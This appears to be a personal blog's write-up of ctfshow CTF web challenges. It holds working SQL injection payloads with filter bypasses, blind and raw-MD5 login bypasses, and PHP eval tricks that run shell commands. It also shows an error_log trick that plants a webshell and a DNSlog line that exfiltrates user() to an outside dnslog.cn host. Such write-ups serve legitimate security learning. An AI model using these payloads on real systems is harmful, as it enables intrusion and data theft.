ctfshow

1.登录框

1.web6

常见的' or 1=1#会被检测到

遍历了一下万能密码库,发现

'or''=''or''='是可以的

其实经过尝试方法,过滤了or+空格的形式

那么可以尝试or+tab 或者or%2b

空格绕过:

/**/

%a0

tab键

%09

'or%2b1=1#

'or%091=1%09union%09select%091,2,3#或者将%09的位置全换成tab也是可以的

欢迎你,ctfshow欢迎你,2 <form method=”post”>

换成version()就是

​ 欢迎你,ctfshow欢迎你,10.3.18-MariaDB <form method=”post”>

为什么'or%2b1=1%2bunion%2bselect%2b%2b1,2,3#不起作用

爆表

'or%091=1%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),3#

欢迎你,ctfshow欢迎你,flag,user <form method=”post”>

爆列

'or%091=1%09union%09select%091,(select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='flag'),3#

flag

爆字段

'or%091=1%09union%09select%091,(select%09group_concat(flag)%09from%09web2.flag),3#

版本控制泄露

版本控制系统,就是记录用户的每一次编辑记录,便于用户回溯。

sql注入

1.web7

1’%09不正常,但1’%09#正常

?id=-1%27%09union%09select%091,2,3#有回显

version:10.3.18-MariaDB database:web7

爆表

?id=-1%27%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),database()#

flag,page,user

爆列

?id=-1%27%09union%09select%091,(select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name=%27flag%27),3#

没有回显?

原来如此,单引号过滤了。用双引号括起来”flag”

所以我的那个是数字型注入

flag

爆字段

?id=-1%27%09union%09select%091,(select%09group_concat(flag)%09from%09web7.flag),3#

有flag

2.web8

过滤了单引号,空格,union,逗号,and等

&&代替and是没用的

union用不了那一般就盲注了

-1 or true

?id=-1%09or%09true 三条文本都有

?id=-1%09or%09false无回显

那注入点就是数值点注入

盲注一般用脚本

萌新记忆

很有意思,前端就几个弹出些图片,就没了

需要扫目录,有个admin路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
用户名是有利用情况的,单引号报错 ,如123'

但123'',就会提示用户名错误,= or and 等字段都过滤了

但如果,u=admin,p随便,则密码错误
u=admin'||'0'<'1 是可以的

#密码长度
u='||length(p)<'20&p=123 #密码错误
u='||length(p)<'10&p=123 #用户名密码错误
u='||length(p)<'18&p=123 #密码错误
u='||length(p)<'17&p=123 #用户名密码错误

#好,密码17位

#爆破每一位
u='||substr(p,1,1)<'a

#写python爆破出密码即可

代码审计

1.web9

url/robots.txt

User-agent: *
Disallow: /index.phps

这个文件下载下来,内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19


<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>


md5($password,true)

  • 默认不写为FALSE。32位16进制的字符串
  • TRUE。16位原始二进制格式的字符串

用mysqli_num_rows()函数来判断是否sql语句查询结果有返回值

由该文件sql语句结构可知,若md5($password,true)内容为 ‘or’ ,使得变成 password=‘xxx’or‘xxx’ 的形式

‘or’ 对应的16进制是 276f7227

找到的password=ffifdyop可满足该条件

2.web10

点击取消按钮,下载代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}

}
}
?>


mysqli_fetch_assoc() 从结果集中取得一行作为关联数组,也就是说这个函数不能像mysqli_fetch_row那样用索引来取值,只能用字段名字来取,所以
while($row = mysqli_fetch_assoc($res)){
echo $row[‘cid’].’::’.$row[1].’<br>’;
} //$row[1]这样是取不到值的

使用mysqli_query()函数向数据库查询用户提供的用户名和密码,以查找是否有匹配的记录。如果有,则认为用户登录成功,并显示标记(flag)。

没遇到过

with rollup 可以对 group by 分组结果再次进行分组,并在最后添加一行数据用于展示结果( 对group by未指定的字段进行求和汇总, 而group by指定的分组字段则用null占位)

我们使用万能用户名 a’/**/or/**/true/**/# 使SQL成立绕过用户名之后, 后台的SQL会查询出所有的用户信息, 然后依次判断查询处的用户名对应的密码和我们输入的密码是否相同, 这时候我们使用with rollup 对 group by 分组的结果再次进行求和统计, 由于with rollup 不会对group by 分组的字段( password)进行统计, 所以会在返回结果的最后一行用null来填充password, 这样一来我们的返回结果中就有了一个值为null的password , 只要我们登录的时候password输入框什么都不输, 那我么输入的password的值就是null, 跟查询出的用户密码相同( null == null), 从而登录成功
————————————————
版权声明:本文为CSDN博主「士别三日wyx」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/wangyuxiang946/article/details/120118721

a'/**/or/**/true/**/group/**/by/**/password/**/with/**/rollup/**/#

3.web11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17


<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>

抓包清空cookie,提交空密码。

4.unknow1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){

die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);

}

?>

分析一下,preg_match函数,即匹配,如果有字母和数字呢,返回cerror,如果有特殊字符呢,返回serror;否则返回eval函数。eval可以执行代码。

可用的有 ? / + < > =`

?代表任意字符

可构造目录tmp/phpxxxxx

payload :?><?=`.+/??p/p?p??????`;

?><?=是php的短标签(<?=)和闭合标签(?>)

<?= $name ?> =类似于echo形式

思路为:只要是php接收到上传的POST请求,就会保存一个临时文件,若这个php脚本具有“上传功能”那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除。另外,这个php临时文件在linux系统下的命名规则永远是phpXXXXXX

红包题1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php



highlight_file(__FILE__);
error_reporting(2);


extract($_GET);
ini_set($name,$value);


system(
"ls '".filter($_GET[1])."'"
);

function filter($cmd){
$cmd = str_replace("'","",$cmd);
$cmd = str_replace("\\","",$cmd);
$cmd = str_replace("`","",$cmd);
$cmd = str_replace("$","",$cmd);
return $cmd;
}

extract:从数组中将变量导入到当前的符号表

ini_set:为一个配置选项设置值(可以修改配置项)

报错等级是2。他限定只能使用ls 什么什么,而且filter自定义函数过滤了'\ 、`` $这四个字符。不好使用闭合来绕过对getshell`的限制。

解答:

?1=/,显示

bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

其中,有flag

?1=/falg,显示

/flag

关注一下ini_set($name,$value);

通过触发异常后,将回显的内容(可控)写入到web目录(修改配置项,把报错写入自定义报错日志)。即可实现写马到文件。

%00阶段导致报错

1
?name=error_log&value=/var/www/html/123.php&1=%00<?php system("cat /f*");?>

访问/123.php,报错已经写入自定义的报错日志,同时,报错代码被自动执行了。

红包题2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
#error_reporting(0);
?>
<html lang="zh-CN">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width minimum-scale=1.0 maximum-scale=1.0 initial-scale=1.0" />
<title>ctf.show_红包题</title>
</head>
<body>
<center>
<h2>ctf.show_红包题</h2>
<h4>where is the flag?</h4>
</center>
<!-- hint:?cmd= -->
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){

die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);

}

?>

</body>
</html>

wp:

1
?cmd=?><?=`/???/?p%20/????????%20p.ppp`;?>

相当于

1
?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>
1
<?= ?>  等同于 <?php echo ?>

闭合,再用php短链接形式,反引号的内容相当于shell_exec()的内容

再访问url/p.ppp,下载文件即可

总结

用了正则,php短链接知识

代码执行

1.web12

?cmd=phpinfo();

可以看到该文件存在,则命令执行漏洞存在

glob()函数可以查找文件, 返回一个文件数组, 常配合通配符来遍历目录

?cmd=print(glob(‘*’));

显示Array

所以用print_r或者var_dump函数查看

array(2) { [0]=> string(68) “903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php” [1]=> string(9) “index.php” }

highlight_file()可以使文件内容高亮显示, 常用于读取文件内容

highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

Dnslog注入

(select load_file(concat(‘\\\\‘,(select hex(user())),’.rihjsd.dnslog.cn/abc’)))

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信